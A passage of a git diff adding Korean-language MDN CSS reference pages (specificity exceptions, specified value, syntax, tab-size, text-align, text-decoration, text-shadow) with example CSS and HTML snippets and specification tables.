ID를 ID 선택자 대신 속성 선택자로 선택하면 클래스 1개와 같은 명시도가 됩니다. 두 선택자의 명시도가 같아졌으므로 나중에 오는 규칙이 우선합니다.

+ +

아래에서 자세한 정보를 확인하세요:

+ + + +

:is():not() 예외

+ +

모두 일치 의사 클래스 {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}} 및 부정 의사 클래스 {{CSSxRef(":not", ":not()")}}은 명시도 계산에서 의사 클래스로 취급되지 않습니다. 그러나 이들 의사 클래스 안에 명시된 선택자는 선택자 유형의 수를 결정할 때 일반 선택자로 셉니다.

+ +

다음 CSS 조각과 HTML은...

+ +
div.outer p {
+  color:orange;
+}
+div:not(.outer) p {
+  color: lime;
+}
+
+ +
<div class="outer">
+  <p>This is in the outer div.</p>
+  <div class="inner">
+    <p>This text is in the inner div.</p>
+  </div>
+</div>
+
+ +

...다음과 같이 화면에 표시됩니다.

+ +

{{EmbedLiveSample('is_및_not_예외','600','100')}}

+ +

:where() 예외 {{Experimental_Inline}}

+ +

{{SeeCompatTable}}

+ +

명시도 조정 가상 클래스 {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}}의 명시도는 항상 0입니다.

+ +

다음 CSS 조각과 HTML은...

+ +
div:where(.outer) p {
+  color: orange;
+}
+
+div p {
+  color: blueviolet;
+}
+
+ + + + + +
<div class="outer">
+  <p>This is in the outer div.</p>
+  <div class="inner">
+    <p>This text is in the inner div.</p>
+  </div>
+</div>
+
+ +

...다음과 같이 화면에 표시됩니다.

+ +

{{EmbedLiveSample('The_where_exception','600','100')}}

+ +

형태 기반 명시도

+ +

명시도는 선택자의 형태(form)를 기반으로 합니다. 아래에서 선택자 *[id="foo"]는 그 자체로는 ID를 선택하지만 선택자의 명시도를 계산할 때는 속성 선택자로 취급됩니다.

+ +

다음 스타일 선언과 마크업은...

+ +
*#foo {
+  color: green;
+}
+*[id="foo"] {
+  color: purple;
+}
+
+ +
<p id="foo">I am a sample text.</p>
+
+ +

...다음과 같이 표시됩니다.

+ +

{{EmbedLiveSample('형태_기반_명시도','600','100')}}

+ +

같은 요소와 일치하지만 ID 선택자는 더 높은 명시도를 갖기 때문입니다.

+ +

트리 근접도 무시

+ +

요소와 주어진 선택자로 참조된 다른 요소와의 근접도(proximity)는 명시도에 영향을 주지 않습니다.

+ +

다음 스타일 선언과 HTML은...

+ +
body h1 {
+  color: green;
+}
+html h1 {
+  color: purple;
+}
+
+ +
<html>
+<body>
+  <h1>Here is a title!</h1>
+</body>
+</html>
+
+ +

...아래와 같이 렌더링됩니다.

+ +

{{EmbedLiveSample('트리_근접도_무시','600','100')}}

+ +

두 선언은 선택자 유형 갯수가 같지만 html h1 선택자가 나중에 선언되었기 때문입니다.

+ +

직접 일치 요소와 상속된 스타일

+ +

특정한 요소와 직접적으로 일치하는 스타일은 상속된 규칙의 명시도와 무관하게 항상 상속된 스타일보다 우선합니다.

+ +

다음 CSS와 HTML은...

+ +
#parent {
+  color: green;
+}
+h1 {
+  color: purple;
+}
+ +
<html>
+<body id="parent">
+  <h1>Here is a title!</h1>
+</body>
+</html>
+ +

...역시 아래와 같이 렌더링됩니다.

+ +

{{EmbedLiveSample('직접_일치_요소와_상속된_스타일','600','100')}}

+ +

h1 선택자는 특정한 요소와 직접 일치하지만 초록색 선택자는 그렇지 않고 부모로부터 상속되기 때문입니다.

+ +

명세

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#specificity-rules", "Calculating a selector's specificity")}}{{Spec2("CSS4 Selectors")}}명시도 조정 선택자 {{CSSxRef(":where", ":where()")}} 추가.
{{SpecName("CSS3 Selectors", "#specificity", "Calculating a selector's specificity")}}{{Spec2("CSS3 Selectors")}}의사 요소 추가.
{{SpecName("CSS2.1", "cascade.html#specificity", "Calculating a selector's specificity")}}{{Spec2("CSS2.1")}}의사 클래스 추가.
{{SpecName("CSS1", "#cascading-order", "Cascading order")}}{{Spec2("CSS1")}}초기 정의.
+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/specified_value/index.html b/files/ko/web/css/specified_value/index.html new file mode 100644 index 0000000000..fd7df79342 --- /dev/null +++ b/files/ko/web/css/specified_value/index.html @@ -0,0 +1,67 @@ +--- +title: 지정값 +slug: Web/CSS/specified_value +tags: + - CSS + - CSS Reference +translation_of: Web/CSS/specified_value +--- +
{{CSSRef}}
+ +

CSS 속성의 지정값은 세 가지 방법 중 하나로 설정됩니다.

+ +
    +
  1. 문서의 스타일시트가 속성값을 지정했다면 그러면 그 값이 사용됩니다. 예를 들어, {{cssxref("color")}} 속성이 green 으로 설정된 경우 대응하는 요소(element)의 텍스트 색은 녹색이 됩니다.
  2. +
  3. 문서의 스타일시트가 값을 지정하지 않은 경우 부모 요소로부터 상속됩니다(가능하다면). 예를 들어, {{HTMLElement("div")}} 내부에 단락({{HTMLElement("p")}})이 있고 {{HTMLElement("div")}}의 CSS font 속성값이 "Arial", {{HTMLElement("p")}}가 정의된 font 속성이 없다면 Arial font가 상속됩니다.
  4. +
  5. 위 중 어느 것도 이용할 수 없는 경우, CSS 스펙에 지정된 대로 요소의 초기값이 적용됩니다.
  6. +
+ +

예제

+ +

HTML

+ +
<p>My specified color is given explicitly in the CSS.</p>
+
+<div>The specified values of all my properties default to their
+    initial values, because none of them are given in the CSS.</div>
+
+<div class="fun">
+  <p>The specified value of my font family is not given explicitly
+      in the CSS, so it is inherited from my parent. However,
+      the border is not an inheriting property.</p>
+</div>
+ +

CSS

+ +
.fun {
+  border: 1px dotted pink;
+  font-family: fantasy;
+}
+
+p {
+  color: green;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("예제", 500, 220)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS2.1", "cascade.html#specified-value", "cascaded value")}}{{Spec2("CSS2.1")}}초기 정의
diff --git a/files/ko/web/css/syntax/index.html b/files/ko/web/css/syntax/index.html new file mode 100644 index 0000000000..3f64118f7a --- /dev/null +++ b/files/ko/web/css/syntax/index.html @@ -0,0 +1,79 @@ +--- +title: 구문 +slug: Web/CSS/Syntax +tags: + - CSS + - Guide + - Reference + - Web +translation_of: Web/CSS/Syntax +--- +
{{cssref}}
+ +

종속형 스타일 시트(CSS) 언어의 기본 목표는 브라우저 엔진이 색상, 위치 지정 또는 장식과 같은 특정 기능을 사용하여 페이지에 요소를 그릴 수 있도록 하는 것입니다. 이러한 목표 달성을 위해 만들어진 CSS 구문을 이루고 있는 기본 구성 요소는 다음과 같습니다.

+ +
    +
  • 속성(property)은 {{glossary("identifier", "식별자")}}, 즉 사람이 읽을 수 있는 이름이며 어떠한 CSS 기능을 구현할 것인지 결정합니다.
  • +
  • (value)은 앞서 지정한 속성이 브라우저에 의해 어떤 식으로 나타나야 할지 기술합니다. 각 속성의 의미적 표현을 형식 문법으로 정의한 유효한 값 집합과 함께 브라우저 엔진이 구현합니다.
  • +
+ +

CSS 선언

+ +

CSS 속성을 특정 값으로 설정하는 것은 CSS 언어의 핵심 기능입니다. 속성과 값 쌍은 선언(declaration)이라 부르며, 모든 CSS 엔진은 적절하게 요소를 배열하고 스타일을 입히기 위해서 요소 하나하나마다 어떤 선언을 적용할지 계산합니다.

+ +

CSS에서는 속성과 값 모두 대소문자를 구분합니다. 속성-값 쌍은 콜론, ':' (U+003A COLON)으로 구분하며 속성과 값 앞, 사이, 뒤에 오는 공백은 무시합니다.

+ +

css syntax - declaration.png

+ +

CSS는 100가지 이상의 속성과 셀 수 없이 많은 값이 있습니다. 속성에 아무 값이나 넣는 것은 허용되지 않고, 대신 속성마다 유효한 값을 정의하고 있습니다. 주어진 속성에 대해 값이 유효하지 않은 경우, 그 선언은 부적합으로 간주하여 CSS 엔진이 완전히 무시합니다.

+ +

CSS 선언 블록

+ +

선언은 블록 단위로 이루어져 있습니다. 즉, 여는 중괄호, '{' (U+007B LEFT CURLY BRACKET) 및 닫는 중괄호, '}' (U+007D RIGHT CURLY BRACKET)로 구분된 구조 입니다. 어떤 경우엔 블록을 중첩할 수 있으므로 열고 닫는 중괄호가 서로 맞아야 합니다.

+ +

css syntax - block.png

+ +

이런 블록은 자연스럽게도 선언 블록이라고 부르며, 내부의 선언은 세미콜론, ';' (U+003B SEMICOLON)으로 구분합니다. 선언 블록은 아무런 선언도 들어가지 않은 빈 상태로도 존재할 수 있습니다. 선언 주위의 공백은 무시합니다. 마지막 선언에는 세미콜론을 생략해도 되지만, 다른 선언을 밑에다 덧붙여서 블록을 확장하면서 세미콜론 추가를 잊는 상황을 방지하기 위해 붙여주는 것이 좋은 스타일이라고 생각하는 경우가 자주 있기는 합니다.

+ +

CSS 선언 블록을 시각화하면 다음과 같습니다.css syntax - declarations block.png

+ +
참고: CSS 선언 블록의 콘텐츠, 즉 여닫는 중괄호 없이 세미콜론으로 분리한 선언 목록은 HTML {{htmlattrxref("style")}} 특성의 값으로 사용할 수 있습니다.
+ +

CSS 규칙집합

+ +

스타일 시트가 선언을 웹 페이지의 요소 하나씩에만 적용할 수 있다면 거의 쓸모가 없을 것입니다. 진짜 목표는 다양한 선언을 문서의 다양한 부분에 적용하는 것입니다.

+ +

CSS에서는 선언 블록에 조건을 붙여 해결할 수 있습니다. 각 (유효한) 선언 블록은 페이지의 일부 요소를 선택하는 조건인 선택자(selector)가 선행됩니다. 선택자-선언 블록 쌍은 규칙집합 또는 종종 간단히 규칙이라고 합니다.

+ +

css syntax - ruleset.png

+ +

페이지 요소는 여러 선택자로 그리고 결국 주어진 속성을 서로 다른 값으로 여러 번 포함하는 여러 규칙에 의해 일치될 수 있기에, CSS 표준은 어느 게 다른 것보다 우선하고 적용되어야 하는 지를 정의합니다: 이를 종속(cascade) 알고리즘이라고 합니다.

+ +
비록 선택자 그룹에 의해 특징지어진 규칙집합이 규칙집합을 각각 단일 선택자로 대체하는 일종의 단축(shorthand)일지라도, 이는 규칙집합 자체의 유효성에 적용되지는 않는다는 점에 유의하는 것이 중요합니다.
+
+이는 중요한 결과로 이어집니다: 단일 기본 선택자 하나가 무효한 경우, 무명(unknown) 가상 요소(pseudo-element) 또는 가상 클래스(pseudo-class)를 사용할 때처럼, 모든 선택자는 무효하고 따라서 전체 규칙은 무시됩니다(유효하지도 않기에).
+ +

CSS 문

+ +

규칙집합은 종종 큰 규칙집합 목록만으로 구성된 스타일 시트의 주요 구성 블록입니다. 하지만 문자 집합, import하려는 다른 외부 스타일 시트, 글꼴 모양 또는 목록 카운터 설명 및 더 많은 것처럼 웹 제작자가 스타일 시트에서 전하고 싶은 다른 정보가 있습니다. 이를 위해 다른 특정 종류의 문을 사용합니다.

+ +

은 비 공백 문자로 시작하여 첫 번째 닫는 중괄호 또는 세미콜론 (문자열 외에, 이스케이프되지 않고 다른 {}, () 및 [] 쌍에 포함되지 않는) 으로 끝나는 구성 블록입니다.

+ +

css syntax - statements Venn diag.png

+ +

다음과 같은 다른 종류의 문이 있습니다:

+ +
    +
  • 본 것처럼, CSS 선언의 컬렉션과 선택자에 의해 기술된 조건을 연결짓는 규칙집합 (또는 규칙).
  • +
  • at 기호, '@' (U+0040 COMMERCIAL AT)로 시작하고 그런 다음 문의 끝, 즉 블록 밖 다음 세미콜론(;) 또는 다음 블록의 끝까지 계속 식별자가 뒤따르는 At-규칙. 식별자에 의해 정의된 각 유형의 at-규칙은, 물론 자체 내부 구문 및 의미(semantics)가 있을 수 있습니다. 그들은 메타 데이터 정보({{ cssxref("@charset") }} 또는 {{ cssxref("@import") }} 같은), 조건부 정보({{ cssxref("@media") }} 또는 {{ cssxref("@document") }} 같은) 또는 설명 정보({{ cssxref("@font-face") }} 같은)를 전달하는 데 사용됩니다.
  • +
+ +

규칙집합 또는 at-규칙이 아닌 모든 문은 유효하지 않고 무시됩니다.

+ +

또 다른 문 그룹, 중첩 문이 있습니다, 이들은 at-규칙, 조건부 그룹 규칙의 특정 부분집합에서 사용될 수 있는 문입니다. 이러한 문은 오직 특정 조건이 일치되면 적용합니다: @media at-규칙 콘텐츠는 브라우저가 돌아가는 장치가 표현된 조건과 일치하는 경우에만 적용됩니다. 반면 @document at-규칙 콘텐츠는 현재 페이지가 일부 조건과 일치하는 경우에만 적용됩니다, 등등. CSS1 및 CSS2.1에서는, 규칙집합만이 조건부 그룹 규칙 내에서 사용될 수 있습니다. 그것은 매우 제한됐고 이 제한은 CSS Conditionals 레벨 3에서 해제되었습니다. 현재, 여전히 실험 중이고 모든 브라우저에서 지원되지는 않지만, 조건부 그룹 규칙은 광범위한 콘텐츠, 규칙집합뿐만 아니라 전부는 아니지만 일부 at-규칙을 포함할 수 있습니다.

+ +

같이 보기

+ +
    +
  • {{ CSS_key_concepts()}}
  • +
diff --git a/files/ko/web/css/tab-size/index.html b/files/ko/web/css/tab-size/index.html new file mode 100644 index 0000000000..ad29994f53 --- /dev/null +++ b/files/ko/web/css/tab-size/index.html @@ -0,0 +1,121 @@ +--- +title: tab-size +slug: Web/CSS/tab-size +tags: + - CSS + - CSS Property + - CSS Text + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/tab-size +--- +
{{CSSRef}}
+ +

CSS tab-size 속성은 탭 문자(U+0009)의 너비를 조절합니다.

+ +

구문

+ +
/* <integer> 값 */
+tab-size: 4;
+tab-size: 0;
+
+/* <length> 값 */
+tab-size: 10px;
+tab-size: 2em;
+
+/* 전역 값 */
+tab-size: inherit;
+tab-size: initial;
+tab-size: unset;
+
+ +

+ +
+
{{CSSxRef("<integer>")}}
+
공백 문자(U+0020)에 대한 탭 문자의 상대적인 너비. 0 이상의 정수여야 합니다.
+
{{CSSxRef("<length>")}}
+
탭 문자의 너비. 양의 값이어야 합니다.
+
+ +

형식 정의

+ +

{{CSSInfo}}

+ +

형식 구문

+ +
{{CSSSyntax}}
+ +

예제

+ +

글자 수로 정의

+ +
pre {
+  tab-size: 4; /* Set tab size to 4 characters wide */
+}
+
+ +

탭 제거

+ +
pre {
+  tab-size: 0; /* Remove indentation */
+}
+
+ +

기본 크기와 비교

+ +

다음 예제는 기본 탭 크기를 사용자 지정 탭 크기와 비교합니다. {{cssxref("white-space")}} 속성을 pre로 설정해서 탭 문자가 접히지 않도록 했습니다.

+ +

HTML

+ +
<p>no tab</p>
+<p>&#0009;default tab size of 8 characters wide</p>
+<p class="custom">&#0009;custom tab size of 3 characters wide</p>
+<p>&nbsp;&nbsp;&nbsp;3 spaces, equivalent to the custom tab size</p>
+
+ +

CSS

+ +
p {
+  white-space: pre;
+}
+
+.custom {
+  tab-size: 3;
+  -moz-tab-size: 3;
+}
+ +

결과

+ +

{{EmbedLiveSample('기본_크기와_비교')}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Text', '#tab-size-property', 'tab-size')}}{{Spec2('CSS3 Text')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.tab-size")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/text-align/index.html b/files/ko/web/css/text-align/index.html new file mode 100644 index 0000000000..630a0c0881 --- /dev/null +++ b/files/ko/web/css/text-align/index.html @@ -0,0 +1,234 @@ +--- +title: text-align +slug: Web/CSS/text-align +tags: + - CSS + - CSS Property + - CSS Text + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/text-align +--- +
{{CSSRef}}
+ +

CSS text-align 속성은 블록 요소나 표의 칸 상자의 가로 정렬을 설정합니다. 즉 {{cssxref("vertical-align")}}과 동일하나 세로가 아닌 가로 방향으로 동작합니다.

+ +
{{EmbedInteractiveExample("pages/css/text-align.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+text-align: left;
+text-align: right;
+text-align: center;
+text-align: justify;
+text-align: justify-all;
+text-align: start;
+text-align: end;
+text-align: match-parent;
+
+/* 표 열의 문자 기반 정렬 */
+text-align: ".";
+text-align: "." center;
+
+/* 블록 정렬 값 (비표준 구문) */
+text-align: -moz-center;
+text-align: -webkit-center;
+
+/* 전역 값 */
+text-align: inherit;
+text-align: initial;
+text-align: unset;
+
+ +

text-align 속성은 다음 방법 중 하나를 사용해 지정합니다.

+ + + +

+ +
+
start {{experimental_inline}}
+
쓰기 방식이 좌횡서면 left와 같고, 우횡서면 right과 같습니다.
+
end {{experimental_inline}}
+
쓰기 방식이 좌횡서면 right과 같고, 우횡서면 left와 같습니다.
+
left
+
인라인 콘텐츠를 줄 상자의 왼쪽 모서리로 정렬합니다.
+ +
인라인 콘텐츠를 줄 상자의 오른쪽 모서리로 정렬합니다.
+
center
+
인라인 콘텐츠를 줄 상자의 가운데로 정렬합니다.
+
justify
+
인라인 콘텐츠를 양쪽 정렬합니다. 마지막 줄을 제외하고, 줄 상자의 왼쪽과 오른쪽 끝에 텍스트를 맞추기 위해 사이 공간을 띄웁니다.
+
justify-all {{experimental_inline}}
+
justify와 같지만 마지막 줄에도 적용합니다.
+
match-parent {{experimental_inline}}
+
inherit과 비슷하지만, startend 값을 부모의 {{cssxref("direction")}}에 맞춰 적절한 leftright 값으로 치환합니다.
+
{{cssxref("<string>")}} {{experimental_inline}}
+
표 칸에 적용할 경우, 칸의 콘텐츠를 해당 문자에 맞춰 정렬합니다.
+
+ +

접근성 고려사항

+ +

양쪽 정렬 적용 시 생기는 불규칙한 여백은 난독증 등 인지력 저하를 겪고 있는 사용자에게 문제가 될 수 있습니다.

+ + + +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

왼쪽 정렬

+ +

HTML

+ +
<p class="example">
+  Integer elementum massa at nulla placerat varius.
+  Suspendisse in libero risus, in interdum massa.
+  Vestibulum ac leo vitae metus faucibus gravida ac in neque.
+  Nullam est eros, suscipit sed dictum quis, accumsan a ligula.
+</p>
+ +

CSS

+ +
.example {
+  text-align: left;
+  border: solid;
+}
+ +

결과

+ +

{{EmbedLiveSample("왼쪽_정렬","100%","100%")}}

+ +

가운데 정렬

+ +

HTML

+ +
<p class="example">
+  Integer elementum massa at nulla placerat varius.
+  Suspendisse in libero risus, in interdum massa.
+  Vestibulum ac leo vitae metus faucibus gravida ac in neque.
+  Nullam est eros, suscipit sed dictum quis, accumsan a ligula.
+</p>
+ +

CSS

+ +
.example {
+  text-align: center;
+  border: solid;
+}
+ +

결과

+ +

{{EmbedLiveSample("가운데_정렬","100%","100%")}}

+ +

양쪽 정렬

+ +

HTML

+ +
<p class="example">
+  Integer elementum massa at nulla placerat varius.
+  Suspendisse in libero risus, in interdum massa.
+  Vestibulum ac leo vitae metus faucibus gravida ac in neque.
+  Nullam est eros, suscipit sed dictum quis, accumsan a ligula.
+</p>
+ +

CSS

+ +
.example {
+  text-align: justify;
+  border: solid;
+}
+ +

결과

+ +

{{EmbedLiveSample("양쪽_정렬","100%","100%")}}

+ +

참고

+ +

인라인 콘텐츠를 가운데 정렬하지 않고 자신을 정렬하는 법은 {{cssxref("margin")}}을 auto로 설정하는 것입니다.

+ +
.something {
+  margin: auto;
+}
+
+ +
.something {
+  margin: 0 auto;
+}
+
+ +
.something {
+  margin-left: auto;
+  margin-right: auto;
+}
+
+ +
    +
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS Logical Properties', '#text-align', 'text-align')}}{{Spec2('CSS Logical Properties')}}No changes
{{SpecName('CSS4 Text', '#alignment', 'text-align')}}{{Spec2('CSS4 Text')}}Added the <string> value.
{{SpecName('CSS3 Text', '#text-align-property', 'text-align')}}{{Spec2('CSS3 Text')}}Added the start, end, and match-parent values. Changed the unnamed initial value to start (which it was).
{{SpecName('CSS2.1', 'text.html#alignment-prop', 'text-align')}}{{Spec2('CSS2.1')}}No changes
{{SpecName('CSS1', '#text-align', 'text-align')}}{{Spec2('CSS1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.text-align")}}

+ +

같이 보기

+ +
    +
  • {{Cssxref("margin","margin: auto")}}, {{Cssxref("margin-left","margin-left: auto")}}, {{Cssxref("vertical-align")}}
  • +
diff --git a/files/ko/web/css/text-decoration/index.html b/files/ko/web/css/text-decoration/index.html new file mode 100644 index 0000000000..579bf26670 --- /dev/null +++ b/files/ko/web/css/text-decoration/index.html @@ -0,0 +1,133 @@ +--- +title: text-decoration +slug: Web/CSS/text-decoration +tags: + - CSS + - CSS Property + - CSS Text Decoration + - Reference +translation_of: Web/CSS/text-decoration +--- +
{{CSSRef}}
+ +

text-decoration CSS 단축 속성은 글씨의 장식(선) 색을 지정합니다. {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-style")}}, {{cssxref("text-decoration-thickness")}}속성 값을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/text-decoration.html")}}
+ + + +

글씨 장식은 모든 하위 텍스트 요소에 적용됩니다. 따라서 자식 요소는 부모가 적용한 장식을 제거할 수 없습니다. 예를 들어 <p>이 문단에 <em>강조 표시</em>가 있어요.</p> 마크업에 p { text-decoration: underline; } 스타일을 적용하면 전체 문단에 밑줄이 쳐집니다. em { text-decoration: none; }을 추가하더라도 아무 변화도 일어나지 않습니다. 다만 em { text-decoration: overline; } 스타일은 "강조 표시"가 윗줄과 밑줄 모두 갖게 합니다.

+ +

구문

+ +

text-decoration 속성은 한 개 이상의 공백으로 구분한 값으로 지정할 수 있습니다. 각각의 값은 본디 속성에서 사용하는 값입니다.

+ +

+ +
+
{{cssxref("text-decoration-line")}}
+
underline, line-through 등 장식의 종류.
+
{{cssxref("text-decoration-color")}}
+
장식의 색.
+
{{cssxref("text-decoration-style")}}
+
solid, wavy, dashed 등 장식의 스타일.
+
{{cssxref("text-decoration-thickness")}}
+
요소를 꾸미는데 사용되는 선의 두께를 설정합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.under {
+  text-decoration: underline red;
+}
+
+.over {
+  text-decoration: wavy overline lime;
+}
+
+.line {
+  text-decoration: line-through;
+}
+
+.plain {
+  text-decoration: none;
+}
+
+.underover {
+  text-decoration: dashed underline overline;
+}
+
+.thick {
+  text-decoration: solid underline purple 4px;
+}
+
+.blink {
+  text-decoration: blink;
+}
+
+ +
<p class="under">밑줄을 가진 글씨입니다.</p>
+<p class="over">윗줄을 가진 글씨입니다.</p>
+<p class="line">취소선을 가진 글씨입니다.</p>
+<p>여기 링크는 기본값과 다르게 <a class="plain" href="#">밑줄이 없습니다</a>.
+    사용자는 보통 하이퍼링크를 구분할 때 밑줄 여부로 판단하므로
+    지우기 전에 조심해야 합니다.</p>
+<p class="underover">밑줄과 윗줄 모두 가진 글씨입니다.</p>
+<p class="thick">이 글씨는 아주 두꺼운 보라색 밑줄을 표시합니다. (브라우저가 지원하는 경우)</p>
+<p class="blink">이 글씨는 브라우저에 따라서 깜빡일 수 있어요.</p>
+
+ +

{{EmbedLiveSample('Examples','auto','320')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Text Decoration')}}{{Spec2('CSS4 Text Decoration')}}Adds {{cssxref("text-decoration-thickness")}}; note that this isn't yet officially part of the shorthand — this is as yet unspecified.
{{SpecName('CSS3 Text Decoration', '#text-decoration-property', 'text-decoration')}}{{Spec2('CSS3 Text Decoration')}}Transformed into a shorthand property. Added support for the value of {{cssxref('text-decoration-style')}}.
{{SpecName('CSS2.1', 'text.html#lining-striking-props', 'text-decoration')}}{{Spec2('CSS2.1')}}No significant changes.
{{SpecName('CSS1', '#text-decoration', 'text-decoration')}}{{Spec2('CSS1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.text-decoration")}}

+ +

같이 보기

+ +
    +
  • The individual text-decoration properties are {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-color")}}, and {{cssxref("text-decoration-style")}}.
  • +
  • The {{cssxref("list-style")}} attribute controls the appearance of items in HTML {{HTMLElement("ol")}} and {{HTMLElement("ul")}} lists.
  • +
diff --git a/files/ko/web/css/text-shadow/index.html b/files/ko/web/css/text-shadow/index.html new file mode 100644 index 0000000000..17c04da65c --- /dev/null +++ b/files/ko/web/css/text-shadow/index.html @@ -0,0 +1,126 @@ +--- +title: text-shadow +slug: Web/CSS/text-shadow +tags: + - CSS + - Reference +translation_of: Web/CSS/text-shadow +--- +
{{CSSRef}}
+ +

text-shadow CSS 속성은 텍스트에 그림자(shadow)를 추가합니다. 텍스트와 그 장식에 적용 할 쉼표로 구분 된 그림자 목록을 허용합니다. 각 그림자는 요소, 흐림 반경 및 색상의 X 및 Y 오프셋 조합으로 설명됩니다.

+ +

{{EmbedInteractiveExample("pages/css/text-shadow.html")}}

+ +

구문

+ +
/* offset-x | offset-y | blur-radius | color */
+text-shadow: 1px 1px 2px black;
+
+/* color | offset-x | offset-y | blur-radius */
+text-shadow: #fc0 1px 0 10px;
+
+/* offset-x | offset-y | color */
+text-shadow: 5px 5px #558abb;
+
+/* color | offset-x | offset-y */
+text-shadow: white 2px 5px;
+
+/* offset-x | offset-y
+/* Use defaults for color and blur-radius */
+text-shadow: 5px 10px;
+
+/* Global values */
+text-shadow: inherit;
+text-shadow: initial;
+text-shadow: unset;
+ +

This property is specified as a comma-separated list of shadows.

+ +

Each shadow is specified as two or three <length> values, followed optionally by a <color> value. The first two <length> values are the <offset-x> and <offset-y> values. The third, optional, <length> value is the <blur-radius>. The<color> value is the shadow's color.

+ +

When more than one shadow is given, shadows are applied front-to-back, with the first-specified shadow on top.

+ +

This property applies to both {{cssxref("::first-line")}} and {{cssxref("::first-letter")}} pseudo-elements.

+ +

+ +
+
{{cssxref("<color>")}}
+
선택값(생략가능). 위치값(offset)이전/이후에 설정이 가능하다. 색상(color)값이 설정되지 않으면, 브라우저 기본값(UA-chosen color)이 사용된다. {{ note("만약 다양한 브라우저에서 동일하게 표현하고 싶다면, 특정 색상(color)을 지정할 것.") }}
+
<offset-x> <offset-y>
+
Required. These {{cssxref("<length>")}} values specify the shadow's distance from the text. <offset-x> specifies the horizontal distance; a negative value places the shadow to the left of the text. <offset-y> specifies the vertical distance; a negative value places the shadow above the text. If both values are 0, the shadow is placed directly behind the text, although it may be partly visible due to the effect of <blur-radius>.
+
<blur-radius>
+
Optional. This is a {{cssxref("<length>")}} value. The higher the value, the bigger the blur; the shadow becomes wider and lighter. If not specified, it defaults to 0.
+
+

Formal syntax

+ +
{{csssyntax}}
+
+ +

Examples

+ +

Simple shadow

+ +
.red-text-shadow {
+  text-shadow: red 0 -2px;
+}
+ +
<p class="red-text-shadow">Sed ut perspiciatis unde omnis iste
+    natus error sit voluptatem accusantium doloremque laudantium,
+    totam rem aperiam, eaque ipsa quae ab illo inventore.</p>
+ +

{{EmbedLiveSample('Simple_shadow', '660px', '90px')}}

+ +

Multiple shadows

+ +
.white-text-with-blue-shadow {
+  text-shadow: 1px 1px 2px black, 0 0 1em blue, 0 0 0.2em blue;
+  color: white;
+  font: 1.5em Georgia, serif;
+}
+ +
<p class="white-text-with-blue-shadow">Sed ut perspiciatis unde omnis iste
+    natus error sit voluptatem accusantium doloremque laudantium,
+    totam rem aperiam, eaque ipsa quae ab illo inventore.</p>
+ +

{{EmbedLiveSample('Multiple_shadows', '660px', '170px')}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Transitions', '#animatable-css', 'text-shadow')}}{{Spec2('CSS3 Transitions')}}Specifies text-shadow as animatable.
{{SpecName('CSS3 Text Decoration', '#text-shadow-property', 'text-shadow')}}{{Spec2('CSS3 Text Decoration')}}The CSS property text-shadow was improperly defined in CSS2 and dropped in CSS2 (Level 1). The CSS Text Module Level 3 spec refined the syntax. Later it was moved to CSS Text Decoration Module Level 3.
+ +

{{cssinfo}}

+ +

Browser compatibility

+ +

The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

+ +

{{Compat("css.properties.text-shadow")}}

+ +

Quantum CSS notes

+ Gecko has a bug whereby {{cssxref("transition")}}s will not work when transitioning from a text-shadow with a color specified to a text-shadow without a color specified ({{bug(726550)}}). This has been fixed in Firefox's new parallel CSS engine (also known as Quantum CSS or Stylo, planned for release in Firefox 57). + +

See also

+ Text Shadow CSS Generator - An interactive text shadow CSS generator. {{cssxref("box-shadow")}} The {{cssxref("<color>")}} data type (for specifying the shadow color) Applying color to HTML elements using CSS
+
diff --git a/files/ko/web/css/time/index.html b/files/ko/web/css/time/index.html new file mode 100644 index 0000000000..2a95bb99ea --- /dev/null +++ b/files/ko/web/css/time/index.html @@ -0,0 +1,88 @@ +--- +title: